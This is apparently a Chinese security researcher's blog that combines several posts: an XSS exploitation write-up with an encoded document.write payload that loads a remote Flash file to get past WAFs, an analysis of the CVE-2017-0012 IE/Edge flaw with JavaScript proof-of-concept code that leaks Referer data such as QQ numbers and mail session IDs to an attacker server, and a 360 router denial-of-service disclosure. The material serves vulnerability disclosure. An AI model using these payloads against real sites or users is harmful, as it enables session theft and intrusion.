某朋友公司一个xss的实现

今天基友depy丢给我一个xss,输入点如下

<a href="输入点">xx</a>

很自然而然的,在输入点输入javascript:alert(1)会触发一个弹窗,但是我的朋友无法将信息传输到xss平台,也就是无法利用
http://www.inetsrc.com/test/xsscode.html
我随手丢了一个地址,可是似乎问题没有那么简单。

大概会出现这种情况,我使用jquery引入js,还是使用document.write写入script标签或是eval调用都无法执行js,而可以alert(1)

纠结了好久,后来在调试台发现了一个问题

页面设置阻止了资源的加载,阻止了非同域的资源,这种情况我也是第一次见到,因为这种方法在防御起xss来作用并不大,并且对后期维护比较麻烦。

所以在这种情况下,我们只能把我们整段的js代码放到javascript后面执行。

但是这一种方法很不稳妥,即便代码完整的复制过去,也会有很多小错误等着你去更改,所以为了稳妥,我考虑了使用其他办法。

由于没有编辑swf工具,就使用JPEXS反编译了一下一个poc,将所有代码整合到其中,这样子十分的方便。

<embed src=http://www.inetsrc.com/1.swf allowscriptaccess=always type=application/x-shockwave-flash></embed>

然后把他上传到我的服务器,如上代码用来盲打的效果更棒,如果没记错,这一个方法可以过掉多数xss的waf。

document.write(String.fromCharCode(60,101,109,98,101,100,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,105,110,101,116,115,114,99,46,99,111,109,47,49,46,115,119,102,32,97,108,108,111,119,115,99,114,105,112,116,97,99,99,101,115,115,61,97,108,119,97,121,115,32,116,121,112,101,61,97,112,112,108,105,99,97,116,105,111,110,47,120,45,115,104,111,99,107,119,97,118,101,45,102,108,97,115,104,62));

再用document的方法写入这个标签,当然你也可以使用document.write(‘标签内容’),而我之所以如此是因为这一方法不需要考虑引号的问题。

如此以来我们收到的信息就很正常了,也比较简便快捷。

当然由于第一次遇到这种情况,我后续会更新对这个问题的研究。

CVE-2017-0012 Microsoft浏览器欺诈漏洞分析

如果阅读不便,请移步原文地址:http://bobao.360.cn/learning/detail/3612.html

 

IE这个漏洞提交超过一个月了,微软近几天发布更新。所以才起草了分析文章。不明白的同学可以先看一下去年我明白问题时候,同好友hope探讨后,由他在i春秋发布的一篇文章,以及一些其他的参考资料。

http://bbs.ichunqiu.com/thread-10111-1-1.html
https://bugzilla.mozilla.org/show_bug.cgi?id=736871
http://code.google.com/p/chromium/issues/detail?id=168988

影响版本

Microsoft Edge

Internet Explorer 11

漏洞分析

parent.window.opener.location可以使打开他的窗口location跳转到其他的域名,在尝试使用跨域的时候,我首先发现了这个问题,以下是我发现问题时候的测试代码。

parent.window.opener.location = 'http://www.qq.com';

我通过360SRC的友情链接打开了360的appscan,尝试在appscan网页的控制台注入这一段JS,可以看到JS注入后,360SRC的网页变成了腾讯首页。

而就在此时我发现appscan的控制台居然报错了,并且内容属于腾讯首页的资源报错。

如图,我们发现本来不属于appscan站点的错误,显示在了appscan的控制台,随后我在Chrome、Firefox、IE8中测试发现均不存在该问题。

于是第一时间就想到了跨域,会不会存在跨域问题呢?所以很快写了一段代码进行验证,希望能达到跨域执行js,即UXSS,这段代码在同域下可以执行js,但是跨域是不可以的。

function func(){
parent.window.opener.location = 'http://www.qq.com';
}
if (parent.window.opener) {
parent.window.opener.location = 'javascript:alert("xsseng")';setTimeout(func,"3000");
};

浏览器阻止了我的操作,本来问题到这里就应该结束,但是后来发现了其他的问题,当我执行以下代码的时候,我们可以看到如下的HTTP请求中的REFERER。

我们通过appscan站点执行js,referer头却是security站点,这一点是违反了W3C的标准(所有浏览器在这里的处理方式都是appscan站点),为了探究问题是否只是存在于同一个子域下,我把测试站点换到了两个完全不同的域。

function func(){
parent.window.opener.location = 'http://www.inetsrc.com/ref.php';
}
if (parent.window.opener) {
parent.window.opener.location = 'http://i.qq.com';setTimeout(func,"3000");
};

我写了一段代码,来要求i.qq.com请求我的测试站点,以获得QQ空间的来源,其中的ref.php直接输出$_SERVER[“HTTP_REFERER”]。

会发现在测试站点中,不仅可以得到i.qq.com的请求,如果我们登陆QQ空间,那么i.qq.com会跳转到user.qzone.qq.com并且泄露了你的QQ号。那么问题不仅仅会造成更多的CSRF漏洞,如果用户登陆了微博一些邮箱,可以通过控制好setTimeout来获取可以导致用户信息泄露的参数,为此我搭建了https一个测试站点用来测试某邮箱系统,尝试读取SID参数。

function func(){
parent.window.opener.location = 'https://www.esqsm.com/index.php';
}
if (parent.window.opener) {
parent.window.opener.location = 'https://mail.qq.com';setTimeout(func,"3000");
};

由于QQ邮箱配置了SSL,所以接收来源的站点也需要配置SSL。这里由于登陆了QQ邮箱,访问mail.qq.com的时候会跳转到邮箱的首页,导致location的更换,referer就泄露了用户信息。

由于网站的差异,了解邮箱的同学们也知道,在某些特定的接口中,可以让一些参数权限提升,达到登陆邮箱的目的,这包括很多邮箱系统或微博,当然即便你无法做到登陆它,当你获得了一些参数,结合你的漏洞你也可以CSRF做一些高危操作,例如15年我提交过的QQ邮箱(http://bobao.360.cn/learning/detail/672.html)和Coremail的更改密保问题,这都因为他们将防止CSRF的toekn直接放到了地址栏。

当然漏洞危害不仅仅泄露了跳转后的参数与无限制的ref伪造,我们会发现在调试台的资源处,加载了三处的资源,一处调试台共享的三处站点的所有网络请求还有错误信息。而这在其他浏览器与Edge正常情况下是不会存在的,即便你打开了两个以上的页面。

正常的情况,只加载页面本身的性能分析报告

而在漏洞中,性能分析对多个窗口同时进行。

漏洞检测

对此我特地准备了一个漏洞检测,以检测你的浏览器是否存在该漏洞。

http://www.inetsrc.com/cvejc0.html

由于js模拟了点击,请允许网页弹出窗口,或者手工点击测试。

如果父窗口在点击后显示“http://www.inetsrc.com/cvejc.html”则漏洞不存在。

参考资料

360安全播报原文:http://bobao.360.cn/learning/detail/3612.html

https://technet.microsoft.com/zh-cn/library/security/ms17-006.aspx

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0012

https://www.symantec.com/security_response/vulnerability.jsp?bid=96085&om_rssid=sr-advisories

http://www.securityfocus.com/bid/96085/info

其他

感谢一直陪伴我成长的SecBox和我的小伙伴们,如果你们有任何关于漏洞跟进一步利用的思路,恳请留言,我十分渴望与你交流。

360路由器拒绝服务漏洞

我会关注未来推出的版本,并且随时在文章中跟进该漏洞:

2017-02-24 21:39:27 提交了漏洞

2017-02-28 16:58 360忽略了该漏洞

2017-3-2 20:44:23  由于忽略漏洞,所以公告漏洞以避免用户受到该问题困扰。

2017-3-3 20:22     360SRC表示在催促修复该漏洞。

2017-3-9 360确定了该漏洞,会更新该问题。

 

正文

漏洞版本:

版本号:V2.0.49.46317正式版

官方下载请戳这里

本站源下载请戳这里

漏洞概述:

通过该漏洞,在路由器LAN侧(连接到路由器无线热点),且没有路由器管理权的场景下,通过远程发送数据包的方式导致路由器出现拒绝服务。

漏洞条件:开启防蹭网防火墙。

漏洞说明:

通过路由器文件app/safety_wireless/webs/tmp/safety_redirection.html获取rand_key后,在计算得到的加密戳,批量发送带有欺诈的answer到app/safety_wireless/webs/auth_info_check.cgi,导致后接入设备被添加到黑名单,出现拒绝服务的问题。

黑客可以通过扫描内网IP,找出新接入设备最可能被赋值IP的区间,发送数据包,导致整个路由器后接入所有设备无法上网;也可以循环扫描新加入设备,定时发送错误5个answer,导致设备拒绝服务

通过未接入设备可以探测内网主机的情况,我们可以得到最后一台主机的IP,在这之后进行新接入设备拒绝服务攻击。

在黑客提前准备好脚本的情况下,任何接入设备还没来得及输入密码,就会被拉黑到黑名单,无法上网。

至于对answer的算法判断为CryptoJs

如果不利用CryptoJs则会返回data_err

所以攻击者只需要写一个扫描内网的脚本,并且批量获取rand_key,进行CryptoJs加密,只需要一直发送数据包,就可以导致360路由器后接入设备无法使用的问题。

 

 

 

CVE-2017-0012:MSHTML浏览器请求伪造漏洞

概述

MSHTML对js语句处理不当导致请求伪造漏洞,通过漏洞允许客户端自定义任意伪造请求,造成调试信息、调试程序资源共

享等问题。攻击者可以通过构造特定的语句绕过对跨站请求的防护,并且可以通过此漏洞获取敏感信息。

经过测试漏洞存在包括Edge,IE11,360(兼容模式),等浏览器中。

你怎么发现这个漏洞的?

此漏洞在我在调试代码时发现。

跟进

2/16/2017 0:15 AM 向微软通报了该漏洞

2/16/2017 6:12 AM 微软分配CASE

3/3/2017 8:59 AM 微软完成了问题调查并修复了这个问题,但是还未部署

15/3/2017 微软发布更新,分配CVE

参考

https://technet.microsoft.com/zh-cn/library/security/ms17-008.aspx

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0012

https://www.symantec.com/security_response/vulnerability.jsp?bid=96085&om_rssid=sr-advisories

http://www.securityfocus.com/bid/96085/info

致谢

  • 感谢 secbox 安全团队。
  • 感谢 360SRC 提供的支持。

修改记录

  • 第一版: (2017年2月15日22:36:04)
  • 第二版: (2017年3月3日22:55:55)
  • 第三版:(2017年3月15日12:41:06)